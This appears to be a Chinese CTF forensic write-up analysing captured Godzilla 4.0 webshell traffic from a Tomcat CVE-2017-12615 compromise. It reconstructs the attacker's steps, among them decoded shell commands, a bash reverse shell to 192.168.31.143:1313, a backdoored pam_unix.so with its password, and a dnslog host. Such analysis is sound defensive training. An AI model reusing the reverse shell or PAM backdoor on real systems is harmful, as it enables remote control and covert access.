第六章-哥斯拉4.0流量分析

1、黑客的IP是什么?

我们打开wireshark,哥斯拉的流量都是用POST的传输的,所以什么直接抓取post流量包

1
http.request.method=="POST"

image-20250801103902050

发现post的流量包都集中在hello.jsp这个文件,我们再搜索一下这个文件

1
http contains "/hello.jsp"

image-20250801111341948

这里有个hello.jsp的文件打开看看

image-20250801111400793

典型的哥斯拉流量包的特征至此我们确认黑客ip

1
flag{192.168.31.190}

2.黑客是通过什么漏洞进入服务器的?(提交CVE编号)

我们继续分析流量包

image-20250801105342391

在这个流量包的末尾这里发现了中间件为Apache Tomcat/8.5.19,这里又是用的put方式讲文件上传,所以我猜黑客是使用了Tomcat/8.5.19文件上传漏洞

1
flag{CVE-2017-12615}

image-20250801105358431

image-20250801105708570

3.黑客上传的木马文件名是什么?(提交文件名)

根据前面第一题可以知道文件名为hello.jsp

1
flag{hello.jsp}

4.黑客上传的木马连接密码是什么?

根据第一题可知

1
flag{7f0e6f}

5.黑客上传的木马解密密钥是什么?

根据第一题可知

1
flag{1710acba6220f62b}

6.黑客连接webshell后执行的第一条命令是什么?

我们继续分析流量包,在长度为313这里这个流量包点击进去感觉有点不对劲,返回包的内容比较少怀疑是执行了命令,讲请求包的加密内容丢到工具箱进行分析

image-20250801112305288

image-20250801112324836

解密出来是命令执行,可以看到第一条的命令

image-20250801113040567

1
cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand

命令结构解析

  • sh -c "cd "/";uname -r"

    • sh -c:以Shell解释器执行指定命令。

    • "cd "/";uname -r"
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13

      - `cd /`:切换到根目录(`/`)。
      - `;uname -r`:执行`uname -r`命令,获取系统内核版本信息。

      * **`2>&1`**

      - 将标准错误输出(`2`)重定向到标准输出(`1`),合并输出和错误信息。
      - **用途**:捕获命令执行的完整输出(包括错误信息),便于调试或日志记录



      我们再把返回包丢进去解密即可确定黑客执行的命令是uname -r

flag{uname -r}

1
2
3
4
5
6
7

![image-20250801113635015](/img/image-20250801113635015.png)

## 7.黑客连接webshell时查询当前shell的权限是什么?

我们继续分析流量包,在305这个数据包里面解密返回包内容,可以看到用户拿到shell后执行了id命令,返回当前用户权限

flag{root}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

![image-20250801113917520](/img/image-20250801113917520.png)

![image-20250801113936920](/img/image-20250801113936920.png)

![image-20250801113902746](/img/image-20250801113902746.png)

## 8.黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?

继续分析流量包,在长度329流量包这里,讲该流量包解密

![image-20250801114815390](/img/image-20250801114815390.png)

![image-20250801114736691](/img/image-20250801114736691.png)

黑客在这里执行了命令cat /etc/os-release命令,这个命令是显示发行版名称和版本的我们讲这里的返回包进行解密

![image-20250801114801169](/img/image-20250801114801169.png)

可以看到返回包返回的发发行版本,拿到flag

![image-20250801114722059](/img/image-20250801114722059.png)

flag{Debian GNU/Linux 10 (buster)}

1
2
3
4
5
6
7
8
9

## 9.黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)

继续分析流量包,在长度为323这里讲流量包进行解密

![image-20250801115146263](/img/image-20250801115146263.png)

可以看到黑客在这里明显使用了grep命令,

sh -c “cd /; rpm -qa | grep pam” 2>&1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

- `sh -c "..."`:使用`sh` shell执行一个命令。
- `cd /`:切换到根目录。
- `rpm -qa`:列出所有已安装的RPM包。
- `grep pam`:过滤出包含`pam`的包名。
- `2>&1`:将标准错误输出重定向到标准输出,这样所有的输出(包括错误信息)都会被捕捉到。

![image-20250801115131549](/img/image-20250801115131549.png)



![image-20250801150439891](/img/image-20250801150439891.png)

简单分析;

* rpm: not found:表示系统中没有安装 rpm 命令,或者该命令不可用。rpm 是 Red Hat 系列 Linux 发行版中用于管理软件包的工具。

* 2>&1: 1: 2>&1::这部分似乎是命令执行时的错误输出,但语法不太正确,可能是命令执行时的格式问题,导致输出混乱。


我讲这条命令没有成功执行不是我们想要的结果,继续分析流量包

![image-20250801151242824](/img/image-20250801151242824.png)

![image-20250801151223647](/img/image-20250801151223647.png)

cmdLine 0 sh -c “cd “/“;dpkg -l libpam-modules:amd64” 2>&1arg-3 2>&1executableFile shexecutableArgs - -c “cd “/“;dpkg -l libpam-modules:amd64” 2>&1arg-0 shargsCount 4arg-1 -carg-2 # cd “/“;dpkg -l libpam-modules:amd64methodName execCommand

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

- **命令结构**:`sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1`
- `sh -c`:使用 shell 来执行命令。
- `cd "/"`:切换到根目录,但在这个上下文中没有实际效果。
- `dpkg -l libpam-modules:amd64`:查询安装的 `libpam-modules` 包,特定于 amd64 架构。
- `2>&1`:将标准错误输出重定向到标准输出,以捕获所有输出信息。
- **参数和方法**:
- `arg-0 sh`:表示命令的第一个参数是 `sh`。
- `arg-1 -c`:表示使用 `-c` 选项来执行字符串中的命令。
- `arg-2 cd "/";dpkg -l libpam-modules:amd64"`:表示要执行的具体命令。
- `methodName execCommand`:表示这是一个执行命令的方法调用。
- **命令目的**:黑客通过这个命令检查目标系统中是否安装了 `libpam-modules` 包,该包与 PAM(可插入式认证模块)相关,负责系统的身份验证和安全管理。通过查询该包的状态和版本信息,黑客可以评估系统的安全性。

我们继续对返回包进行解析

![image-20250801151509270](/img/image-20250801151509270.png)

最后的最后黑客成功“dpkg -l libpam-modules:amd64”也成功返回了“pam版本”将这段命令提取即可拿到flag

flag{dpkg -l libpam-modules:amd64}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

## 10.黑客留下后门的反连的IP和PORT是什么?(IP:PORT)

这个时候分析流量包就要着重看看,解密后的流量包里面是否含有反弹命令了

继续一个一个找

![image-20250801115945035](/img/image-20250801115945035.png)

![image-20250801115931935](/img/image-20250801115931935.png)

讲长度为413这里,讲该流量包进行解密发现,这里解完密后依旧还有base64加密,而且这个格式像反弹命令讲加密的地方拿去解码

![image-20250801115917234](/img/image-20250801115917234.png)

可以确定黑客执行了反弹命令,这个命令 `/bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1` 是一个经典的反向 shell 命令,它允许攻击者在目标系统上获得一个交互式的 shell

> `execCommand` 方法在这个例子中被用来执行一个复杂的命令,该命令通过 Base64 编码隐藏了其真实意图。解码后的命令是一个反向 shell,它会连接到指定的 IP 地址和端口,并提供一个交互式的 shell,允许攻击者远程控制目标系统

<img src="/img/image-20250801120331227.png" alt="image-20250801120331227" style="zoom:50%;" />

flag{192.168.31.143:1313}

1
2
3
4
5

## 11.黑客通过什么文件留下了后门?

也是解密了好几条,在长度为1295这里一点进去一大串的加密内容,讲这段加密解密即可看到黑客在什么目录下面创建了后面

flag{pam_unix.so}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

文件路径:/tmp/pam_unix.so

* /tmp 目录通常用于存储临时文件,黑客选择这个目录可能是为了避开监控,因为很多系统管理员不会频繁检查该目录。
* pam_unix.so 是一个常见的动态链接库文件,通常与 PAM(可插入式认证模块)相关联。这个文件名暗示了它可能涉及系统的身份验证。

![image-20250801120959821](/img/image-20250801120959821.png)

![image-20250801120946706](/img/image-20250801120946706.png)

![image-20250801120821655](/img/image-20250801120821655.png)

这里直接对黑客的ip和端口进行过滤流量也能看到黑客操作的文件

![image-20250802160607043](/img/image-20250802160607043.png)



## 12.黑客设置的后门密码是什么?

通过上题我们知道黑客存放的后门文件是pam_unix.sofileValue,我们直接从根目录进行搜索

find / -name “pam_unix.so”

1
2
3
4
5
6
7
8
9
10
11

![image-20250801143137467](/img/image-20250801143137467.png)

找到存放地址,追踪过去,来到当前目录,我这里使用的finalshell,所以直接可以下载

![image-20250801143300216](/img/image-20250801143300216.png)

![image-20250801143407479](/img/image-20250801143407479.png)

现在导出后门文件了,我们使用file命令看看文件类型,**`file` 命令用于确定文件的类型。它通过检查文件的内容而不仅仅是文件的扩展名来识别文件类型。**

file pam_unix.so

1
2
3
4
5
6
7
8
9
10
11

![image-20250801143509680](/img/image-20250801143509680.png)

**`pam_unix.so` 是一个为 64 位 x86-64 架构编写的动态链接共享库,遵循 ELF 格式,包含调试信息且没有剥离。它是 PAM(可插入式认证模块)的一部分,用于处理基于 UNIX 的身份验证**

这里我们涉及到一些逆向知识,我们使用逆向工具——64位的IDA进行分析

**`pam_sm_authenticate` 是 PAM 框架中的关键函数,负责用户身份验证(要的就是这个验证“密码”)。与其他 PAM 函数相比,它专注于验证用户凭证,确保只有合法用户可以访问系统或服务**

![image-20250801145231931](/img/image-20250801145231931.png)

flag{XJ@123}

1
2
3
4
5

## 13.黑客的恶意dnslog服务器地址是什么?

在密码上面就能看到一条dnslog的地址

%s.%s c0ee2ad2d8.ipv6.xxx.eu.org.